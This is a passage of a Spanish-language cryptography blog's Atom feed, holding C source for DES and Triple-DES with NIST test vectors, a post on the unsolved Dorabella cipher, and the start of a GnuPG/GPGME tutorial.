&gt;&gt; 24) &amp; 0x3F ];               \&lt;br /&gt;                                                \&lt;br /&gt;    T = *SK++ ^ ((X &lt;&lt; 28) | (X &gt;&gt; 4));         \&lt;br /&gt;    Y ^= SB7[ (T      ) &amp; 0x3F ] ^              \&lt;br /&gt;         SB5[ (T &gt;&gt;  8) &amp; 0x3F ] ^              \&lt;br /&gt;         SB3[ (T &gt;&gt; 16) &amp; 0x3F ] ^              \&lt;br /&gt;         SB1[ (T &gt;&gt; 24) &amp; 0x3F ];               \&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static void des_main_ks( unsigned long SK[32], unsigned char key[8] )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;    unsigned long X, Y, T;&lt;br /&gt;&lt;br /&gt;    GET_UINT32_BE( X, key, 0 );&lt;br /&gt;    GET_UINT32_BE( Y, key, 4 );&lt;br /&gt;&lt;br /&gt;    /*&lt;br /&gt;     * Permuted Choice 1&lt;br /&gt;     */&lt;br /&gt;    T =  ((Y &gt;&gt;  4) ^ X) &amp; 0x0F0F0F0F;  X ^= T; Y ^= (T &lt;&lt;  4);&lt;br /&gt;    T =  ((Y      ) ^ X) &amp; 0x10101010;  X ^= T; Y ^= (T      );&lt;br /&gt;&lt;br /&gt;    X =   (LHs[ (X      ) &amp; 0xF] &lt;&lt; 3) | (LHs[ (X &gt;&gt;  8) &amp; 0xF ] &lt;&lt; 2)&lt;br /&gt;        | (LHs[ (X &gt;&gt; 16) &amp; 0xF] &lt;&lt; 1) | (LHs[ (X &gt;&gt; 24) &amp; 0xF ]     )&lt;br /&gt;        | (LHs[ (X &gt;&gt;  5) &amp; 0xF] &lt;&lt; 7) | (LHs[ (X &gt;&gt; 13) &amp; 0xF ] &lt;&lt; 6)&lt;br /&gt;        | (LHs[ (X &gt;&gt; 21) &amp; 0xF] &lt;&lt; 5) | (LHs[ (X &gt;&gt; 29) &amp; 0xF ] &lt;&lt; 4);&lt;br /&gt;&lt;br /&gt;    Y =   (RHs[ (Y &gt;&gt;  1) &amp; 0xF] &lt;&lt; 3) | (RHs[ (Y &gt;&gt;  9) &amp; 0xF ] &lt;&lt; 2)&lt;br /&gt;        | (RHs[ (Y &gt;&gt; 17) &amp; 0xF] &lt;&lt; 1) | (RHs[ (Y &gt;&gt; 25) &amp; 0xF ]     )&lt;br /&gt;        | (RHs[ (Y &gt;&gt;  4) &amp; 0xF] &lt;&lt; 7) | (RHs[ (Y &gt;&gt; 12) &amp; 0xF ] &lt;&lt; 6)&lt;br /&gt;        | (RHs[ (Y &gt;&gt; 20) &amp; 0xF] &lt;&lt; 5) | (RHs[ (Y &gt;&gt; 28) &amp; 0xF ] &lt;&lt; 4);&lt;br /&gt;&lt;br /&gt;    X &amp;= 0x0FFFFFFF;&lt;br /&gt;    Y &amp;= 0x0FFFFFFF;&lt;br /&gt;&lt;br /&gt;    /*&lt;br /&gt;     * calculate subkeys&lt;br /&gt;     */&lt;br /&gt;    for( i = 0; i &lt; 16; i++ )&lt;br /&gt;    {&lt;br /&gt;        if( i &lt; 2 || i == 8 || i == 15 )&lt;br /&gt;        {&lt;br /&gt;            X = ((X &lt;&lt;  1) | (X &gt;&gt; 27)) &amp; 0x0FFFFFFF;&lt;br /&gt;            Y = ((Y &lt;&lt;  1) | (Y &gt;&gt; 27)) &amp; 0x0FFFFFFF;&lt;br /&gt;        }&lt;br /&gt;        else&lt;br /&gt;        {&lt;br /&gt;            X = ((X &lt;&lt;  2) | (X &gt;&gt; 26)) &amp; 0x0FFFFFFF;&lt;br /&gt;            Y = ((Y &lt;&lt;  2) | (Y &gt;&gt; 26)) &amp; 0x0FFFFFFF;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        *SK++ =   ((X &lt;&lt;  4) &amp; 0x24000000) | ((X &lt;&lt; 28) &amp; 0x10000000)&lt;br /&gt;                | ((X &lt;&lt; 14) &amp; 0x08000000) | ((X &lt;&lt; 18) &amp; 0x02080000)&lt;br /&gt;                | ((X &lt;&lt;  6) &amp; 0x01000000) | ((X &lt;&lt;  9) &amp; 0x00200000)&lt;br /&gt;                | ((X &gt;&gt;  1) &amp; 0x00100000) | ((X &lt;&lt; 10) &amp; 0x00040000)&lt;br /&gt;                | ((X &lt;&lt;  2) &amp; 0x00020000) | ((X &gt;&gt; 10) &amp; 0x00010000)&lt;br /&gt;                | ((Y &gt;&gt; 13) &amp; 0x00002000) | ((Y &gt;&gt;  4) &amp; 0x00001000)&lt;br /&gt;                | ((Y &lt;&lt;  6) &amp; 0x00000800) | ((Y &gt;&gt;  1) &amp; 0x00000400)&lt;br /&gt;                | ((Y &gt;&gt; 14) &amp; 0x00000200) | ((Y      ) &amp; 0x00000100)&lt;br /&gt;                | ((Y &gt;&gt;  5) &amp; 0x00000020) | ((Y &gt;&gt; 10) &amp; 0x00000010)&lt;br /&gt;                | ((Y &gt;&gt;  3) &amp; 0x00000008) | ((Y &gt;&gt; 18) &amp; 0x00000004)&lt;br /&gt;                | ((Y &gt;&gt; 26) &amp; 0x00000002) | ((Y &gt;&gt; 24) &amp; 0x00000001);&lt;br /&gt;&lt;br /&gt;        *SK++ =   ((X &lt;&lt; 15) &amp; 0x20000000) | ((X &lt;&lt; 17) &amp; 0x10000000)&lt;br /&gt;                | ((X &lt;&lt; 10) &amp; 0x08000000) | ((X &lt;&lt; 22) &amp; 0x04000000)&lt;br /&gt;                | ((X &gt;&gt;  2) &amp; 0x02000000) | ((X &lt;&lt;  1) &amp; 0x01000000)&lt;br /&gt;                | ((X &lt;&lt; 16) &amp; 0x00200000) | ((X &lt;&lt; 11) &amp; 0x00100000)&lt;br /&gt;                | ((X &lt;&lt;  3) &amp; 0x00080000) | ((X &gt;&gt;  6) &amp; 0x00040000)&lt;br /&gt;                | ((X &lt;&lt; 15) &amp; 0x00020000) | ((X &gt;&gt;  4) &amp; 0x00010000)&lt;br /&gt;                | ((Y &gt;&gt;  2) &amp; 0x00002000) | ((Y &lt;&lt;  8) &amp; 0x00001000)&lt;br /&gt;                | ((Y &gt;&gt; 14) &amp; 0x00000808) | ((Y &gt;&gt;  9) &amp; 0x00000400)&lt;br /&gt;                | ((Y      ) &amp; 0x00000200) | ((Y &lt;&lt;  7) &amp; 0x00000100)&lt;br /&gt;                | ((Y &gt;&gt;  7) &amp; 0x00000020) | ((Y &gt;&gt;  3) &amp; 0x00000011)&lt;br /&gt;                | ((Y &lt;&lt;  2) &amp; 0x00000004) | ((Y &gt;&gt; 21) &amp; 0x00000002);&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES key schedule (56-bit)&lt;br /&gt; */&lt;br /&gt;void des_set_key( des_context *ctx, unsigned char key[8] )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;&lt;br /&gt;    des_main_ks( ctx-&gt;esk, key );&lt;br /&gt;&lt;br /&gt;    for( i = 0; i &lt; 32; i += 2 )&lt;br /&gt;    {&lt;br /&gt;        ctx-&gt;dsk[i    ] = ctx-&gt;esk[30 - i];&lt;br /&gt;        ctx-&gt;dsk[i + 1] = ctx-&gt;esk[31 - i];&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static void des_crypt( unsigned long SK[32],&lt;br /&gt;                       unsigned char input[8],&lt;br /&gt;                       unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    unsigned long X, Y, T;&lt;br /&gt;&lt;br /&gt;    GET_UINT32_BE( X, input, 0 );&lt;br /&gt;    GET_UINT32_BE( Y, input, 4 );&lt;br /&gt;&lt;br /&gt;    DES_IP( X, Y );&lt;br /&gt;&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;&lt;br /&gt;    DES_FP( Y, X );&lt;br /&gt;&lt;br /&gt;    PUT_UINT32_BE( Y, output, 0 );&lt;br /&gt;    PUT_UINT32_BE( X, output, 4 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES block encryption (ECB mode)&lt;br /&gt; */&lt;br /&gt;void des_encrypt( des_context *ctx,&lt;br /&gt;                  unsigned char input[8],&lt;br /&gt;                  unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    des_crypt( ctx-&gt;esk, input, output );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES block decryption (ECB mode)&lt;br /&gt; */&lt;br /&gt;void des_decrypt( des_context *ctx,&lt;br /&gt;                  unsigned char input[8],&lt;br /&gt;                  unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    des_crypt( ctx-&gt;dsk, input, output );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES-CBC buffer encryption&lt;br /&gt; */&lt;br /&gt;void des_cbc_encrypt( des_context *ctx,&lt;br /&gt;                      unsigned char iv[8],&lt;br /&gt;                      unsigned char *input,&lt;br /&gt;                      unsigned char *output,&lt;br /&gt;                      int len )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;&lt;br /&gt;    while( len &gt; 0 )&lt;br /&gt;    {&lt;br /&gt;        for( i = 0; i &lt; 8; i++ )&lt;br /&gt;            output[i] = input[i] ^ iv[i];&lt;br /&gt;&lt;br /&gt;        des_crypt( ctx-&gt;esk, output, output );&lt;br /&gt;        memcpy( iv, output, 8 );&lt;br /&gt;&lt;br /&gt;        input  += 8;&lt;br /&gt;        output += 8;&lt;br /&gt;        len    -= 8;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES-CBC buffer decryption&lt;br /&gt; */&lt;br /&gt;void des_cbc_decrypt( des_context *ctx,&lt;br /&gt;                      unsigned char iv[8],&lt;br /&gt;                      unsigned char *input,&lt;br /&gt;                      unsigned char *output,&lt;br /&gt;                      int len )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;    unsigned char temp[8];&lt;br /&gt;&lt;br /&gt;    while( len &gt; 0 )&lt;br /&gt;    {&lt;br /&gt;        memcpy( temp, input, 8 );&lt;br /&gt;        des_crypt( ctx-&gt;dsk, input, output );&lt;br /&gt;&lt;br /&gt;        for( i = 0; i &lt; 8; i++ )&lt;br /&gt;            output[i] = output[i] ^ iv[i];&lt;br /&gt;&lt;br /&gt;        memcpy( iv, temp, 8 );&lt;br /&gt;&lt;br /&gt;        input  += 8;&lt;br /&gt;        output += 8;&lt;br /&gt;        len    -= 8;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Triple-DES key schedule (112-bit)&lt;br /&gt; */&lt;br /&gt;void des3_set_2keys( des3_context *ctx, unsigned char key[16] )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;&lt;br /&gt;    des_main_ks( ctx-&gt;esk     , key     );&lt;br /&gt;    des_main_ks( ctx-&gt;dsk + 32, key + 8 );&lt;br /&gt;&lt;br /&gt;    for( i = 0; i &lt; 32; i += 2 )&lt;br /&gt;    {&lt;br /&gt;        ctx-&gt;dsk[i     ] = ctx-&gt;esk[30 - i];&lt;br /&gt;        ctx-&gt;dsk[i +  1] = ctx-&gt;esk[31 - i];&lt;br /&gt;&lt;br /&gt;        ctx-&gt;esk[i + 32] = ctx-&gt;dsk[62 - i];&lt;br /&gt;        ctx-&gt;esk[i + 33] = ctx-&gt;dsk[63 - i];&lt;br /&gt;&lt;br /&gt;        ctx-&gt;esk[i + 64] = ctx-&gt;esk[     i];&lt;br /&gt;        ctx-&gt;esk[i + 65] = ctx-&gt;esk[ 1 + i];&lt;br /&gt;&lt;br /&gt;        ctx-&gt;dsk[i + 64] = ctx-&gt;dsk[     i];&lt;br /&gt;        ctx-&gt;dsk[i + 65] = ctx-&gt;dsk[ 1 + i];&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Triple-DES key schedule (168-bit)&lt;br /&gt; */&lt;br /&gt;void des3_set_3keys( des3_context *ctx, unsigned char key[24] )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;&lt;br /&gt;    des_main_ks( ctx-&gt;esk     , key      );&lt;br /&gt;    des_main_ks( ctx-&gt;dsk + 32, key +  8 );&lt;br /&gt;    des_main_ks( ctx-&gt;esk + 64, key + 16 );&lt;br /&gt;&lt;br /&gt;    for( i = 0; i &lt; 32; i += 2 )&lt;br /&gt;    {&lt;br /&gt;        ctx-&gt;dsk[i     ] = ctx-&gt;esk[94 - i];&lt;br /&gt;        ctx-&gt;dsk[i +  1] = ctx-&gt;esk[95 - i];&lt;br /&gt;&lt;br /&gt;        ctx-&gt;esk[i + 32] = ctx-&gt;dsk[62 - i];&lt;br /&gt;        ctx-&gt;esk[i + 33] = ctx-&gt;dsk[63 - i];&lt;br /&gt;&lt;br /&gt;        ctx-&gt;dsk[i + 64] = ctx-&gt;esk[30 - i];&lt;br /&gt;        ctx-&gt;dsk[i + 65] = ctx-&gt;esk[31 - i];&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static void des3_crypt( unsigned long SK[96],&lt;br /&gt;                        unsigned char input[8],&lt;br /&gt;                        unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    unsigned long X, Y, T;&lt;br /&gt;&lt;br /&gt;    GET_UINT32_BE( X, input, 0 );&lt;br /&gt;    GET_UINT32_BE( Y, input, 4 );&lt;br /&gt;&lt;br /&gt;    DES_IP( X, Y );&lt;br /&gt;&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;    DES_ROUND( X, Y );  DES_ROUND( Y, X );&lt;br /&gt;&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;    DES_ROUND( Y, X );  DES_ROUND( X, Y );&lt;br /&gt;&lt;br /&gt;    DES_FP( Y, X );&lt;br /&gt;&lt;br /&gt;    PUT_UINT32_BE( Y, output, 0 );&lt;br /&gt;    PUT_UINT32_BE( X, output, 4 );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Triple-DES block encryption (ECB mode)&lt;br /&gt; */&lt;br /&gt;void des3_encrypt( des3_context *ctx,&lt;br /&gt;                   unsigned char input[8],&lt;br /&gt;                   unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    des3_crypt( ctx-&gt;esk, input, output );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Triple-DES block decryption (ECB mode)&lt;br /&gt; */&lt;br /&gt;void des3_decrypt( des3_context *ctx,&lt;br /&gt;                   unsigned char input[8],&lt;br /&gt;                   unsigned char output[8] )&lt;br /&gt;{&lt;br /&gt;    des3_crypt( ctx-&gt;dsk, input, output );&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * 3DES-CBC buffer encryption&lt;br /&gt; */&lt;br /&gt;void des3_cbc_encrypt( des3_context *ctx,&lt;br /&gt;                       unsigned char iv[8],&lt;br /&gt;                       unsigned char *input,&lt;br /&gt;                       unsigned char *output,&lt;br /&gt;                       int len )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;&lt;br /&gt;    while( len &gt; 0 )&lt;br /&gt;    {&lt;br /&gt;        for( i = 0; i &lt; 8; i++ )&lt;br /&gt;            output[i] = input[i] ^ iv[i];&lt;br /&gt;&lt;br /&gt;        des3_crypt( ctx-&gt;esk, output, output );&lt;br /&gt;        memcpy( iv, output, 8 );&lt;br /&gt;&lt;br /&gt;        input  += 8;&lt;br /&gt;        output += 8;&lt;br /&gt;        len    -= 8;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * 3DES-CBC buffer decryption&lt;br /&gt; */&lt;br /&gt;void des3_cbc_decrypt( des3_context *ctx,&lt;br /&gt;                       unsigned char iv[8],&lt;br /&gt;                       unsigned char *input,&lt;br /&gt;                       unsigned char *output,&lt;br /&gt;                       int len )&lt;br /&gt;{&lt;br /&gt;    int i;&lt;br /&gt;    unsigned char temp[8];&lt;br /&gt;&lt;br /&gt;    while( len &gt; 0 )&lt;br /&gt;    {&lt;br /&gt;        memcpy( temp, input, 8 );&lt;br /&gt;        des3_crypt( ctx-&gt;dsk, input, output );&lt;br /&gt;&lt;br /&gt;        for( i = 0; i &lt; 8; i++ )&lt;br /&gt;            output[i] = output[i] ^ iv[i];&lt;br /&gt;&lt;br /&gt;        memcpy( iv, temp, 8 );&lt;br /&gt;&lt;br /&gt;        input  += 8;&lt;br /&gt;        output += 8;&lt;br /&gt;        len    -= 8;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;static const char _des_src[] = "_des_src";&lt;br /&gt;&lt;br /&gt;#ifdef SELF_TEST&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * DES/3DES test vectors (source: NIST, tripledes-vectors.zip)&lt;br /&gt; */&lt;br /&gt;static const unsigned char DES3_keys[24] =&lt;br /&gt;{&lt;br /&gt;    0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF,&lt;br /&gt;    0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01,&lt;br /&gt;    0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0x01, 0x23&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned char DES3_init[8] =&lt;br /&gt;{&lt;br /&gt;    0x4E, 0x6F, 0x77, 0x20, 0x69, 0x73, 0x20, 0x74&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const unsigned char DES3_enc_test[3][8] =&lt;br /&gt;{&lt;br /&gt;    { 0x6A, 0x2A, 0x19, 0xF4, 0x1E, 0xCA, 0x85, 0x4B },&lt;br /&gt;    { 0x03, 0xE6, 0x9F, 0x5B, 0xFA, 0x58, 0xEB, 0x42 },&lt;br /&gt;    { 0xDD, 0x17, 0xE8, 0xB8, 0xB4, 0x37, 0xD2, 0x32 }&lt;br /&gt;};&lt;br /&gt;    &lt;br /&gt;static const unsigned char DES3_dec_test[3][8] =&lt;br /&gt;{&lt;br /&gt;    { 0xCD, 0xD6, 0x4F, 0x2F, 0x94, 0x27, 0xC1, 0x5D },&lt;br /&gt;    { 0x69, 0x96, 0xC8, 0xFA, 0x47, 0xA2, 0xAB, 0xEB },&lt;br /&gt;    { 0x83, 0x25, 0x39, 0x76, 0x44, 0x09, 0x1A, 0x0A }&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt; * Checkup routine&lt;br /&gt; */&lt;br /&gt;int des_self_test( void )&lt;br /&gt;{&lt;br /&gt;    int i, j, u, v;&lt;br /&gt;    des_context ctx;&lt;br /&gt;    des3_context ctx3;&lt;br /&gt;    unsigned char buf[8];&lt;br /&gt;&lt;br /&gt;    for( i = 0; i &lt; 6; i++ )&lt;br /&gt;    {&lt;br /&gt;        u = i &gt;&gt; 1;&lt;br /&gt;        v = i &amp; 1;&lt;br /&gt;&lt;br /&gt;        printf( "  DES%c-EBC-%3d (%s): ",&lt;br /&gt;                ( u == 0 ) ? ' ' : '3', 64 + u * 64,&lt;br /&gt;                ( v == 0 ) ? "enc" : "dec" );&lt;br /&gt;&lt;br /&gt;        memcpy( buf, DES3_init, 8 );&lt;br /&gt;&lt;br /&gt;        if( u == 0 )&lt;br /&gt;               des_set_key( &amp;ctx,  (unsigned char *) DES3_keys );&lt;br /&gt;&lt;br /&gt;        if( u == 1 )&lt;br /&gt;            des3_set_2keys( &amp;ctx3, (unsigned char *) DES3_keys );&lt;br /&gt;&lt;br /&gt;        if( u == 2 )&lt;br /&gt;            des3_set_3keys( &amp;ctx3, (unsigned char *) DES3_keys );&lt;br /&gt;&lt;br /&gt;        for( j = 0; j &lt; 10000; j++ )&lt;br /&gt;        {&lt;br /&gt;            if( u == 0 )&lt;br /&gt;            {&lt;br /&gt;                if( v == 0 ) des_encrypt( &amp;ctx, buf, buf );&lt;br /&gt;                if( v == 1 ) des_decrypt( &amp;ctx, buf, buf );&lt;br /&gt;            }&lt;br /&gt;            else&lt;br /&gt;            {&lt;br /&gt;                if( v == 0 ) des3_encrypt( &amp;ctx3, buf, buf );&lt;br /&gt;                if( v == 1 ) des3_decrypt( &amp;ctx3, buf, buf );&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        if( ( v == 0 &amp;&amp; memcmp( buf, DES3_enc_test[u], 8 ) != 0 ) ||&lt;br /&gt;            ( v == 1 &amp;&amp; memcmp( buf, DES3_dec_test[u], 8 ) != 0 ) )&lt;br /&gt;        {&lt;br /&gt;            printf( "failed\n" );&lt;br /&gt;            return( 1 );&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        printf( "passed\n" );&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    printf( "\n" );&lt;br /&gt;    return( 0 );&lt;br /&gt;}&lt;br /&gt;#else&lt;br /&gt;int des_self_test( void )&lt;br /&gt;{&lt;br /&gt;    return( 0 );&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Referencias:&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;- &lt;a href='http://csrc.nist.gov/publications/fips/fips46-3/fips46-3.pdf'&gt;Data Encryption Standard&lt;/a&gt;&lt;br /&gt;- &lt;a href='http://xyssl.org/'&gt;XySSL&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-7573200354824764449?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/7573200354824764449/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=7573200354824764449' title='4 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7573200354824764449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/7573200354824764449'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/06/des-y-triple-des.html' title='DES y Triple-DES'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-857614658233108272</id><published>2007-05-29T15:39:00.000-07:00</published><updated>2008-12-04T01:28:25.842-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enigmas'/><title type='text'>El cifrado Dorabella</title><content type='html'>El 14 de Julio de 1897 el compositor británico &lt;a href="http://es.wikipedia.org/wiki/Edward_Elgar"&gt;Sir Edward William Elgar&lt;/a&gt; envió una carta cifrada a su amiga Miss Dora Penny. Un siglo después, la carta todavía no ha sido descifrada. Este curioso cifrado, que ha resistido todo tipo de criptoanálisis hasta la actualidad, consiste en 87 carácteres repartidos en 3 líneas.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/Rlyw71qb7BI/AAAAAAAAAAc/z0kppk9mphA/s1600-h/Dorabella.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/Rlyw71qb7BI/AAAAAAAAAAc/z0kppk9mphA/s320/Dorabella.gif" alt="" id="BLOGGER_PHOTO_ID_5070121822576176146" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Estos extraños caracteres, formados por la unión de semicírculos, parecen constituir un alfabeto de 24 símbolos.&lt;br /&gt;&lt;br /&gt;Si se analiza la frecuencia en la que aparecen los símbolos, se puede determinar que es similar a la de un texto en inglés. Sin embargo, los análisis en esta dirección no han obtenido conclusiones satisfactorias.&lt;br /&gt;&lt;br /&gt;El cifrado Dorabella es uno de los muchos enigmas sin resolver del mundo de la criptografía y, sin lugar a dudas, uno de los mas curiosos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Recientemente se ha propuesto una solución en:&lt;br /&gt;&lt;a href="http://unsolvedproblems.org/S02.jpg"&gt;http://unsolvedproblems.org/S02.jpg&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:8;"&gt;&lt;span style="font-size:130%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-857614658233108272?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/857614658233108272/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=857614658233108272' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/857614658233108272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/857614658233108272'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/05/el-cifrado-dorabella.html' title='El cifrado Dorabella'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_q551Ajwo8ak/Rlyw71qb7BI/AAAAAAAAAAc/z0kppk9mphA/s72-c/Dorabella.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-6817156659214445360</id><published>2007-05-20T05:54:00.000-07:00</published><updated>2008-12-04T01:28:24.971-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Criptografía con GPG y  GPGME I</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.gnupg.org/"&gt;GnuPG&lt;/a&gt; es una implementación libre del estándar OpenPGP y una conocida herramienta en criptografía que permite cifrar, descifrar, firmar, verificar firmas y administrar claves.&lt;br /&gt;&lt;br /&gt;GnuPG Made Easy o &lt;a href="http://www.gnupg.org/gpgme.html"&gt;GPGME&lt;/a&gt; es una librería que permite acceder a &lt;a href="http://www.gnupg.org/"&gt;GnuPG&lt;/a&gt; de forma sencilla,  proporcionando una API de alto nivel.&lt;br /&gt;&lt;br /&gt;A continuación vamos a ver como cifrar un archivo. Para ello es necesario disponer de una clave, por lo que si no se dispone de una puede generarse con:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;$ gpg --gen-key&lt;/pre&gt;&lt;br /&gt;Para ver una lista de las claves existentes podemos ejecutar:&lt;br /&gt;&lt;pre&gt;$ gpg --list-keys&lt;/pre&gt;&lt;br /&gt;Y para cifrar un archivo con 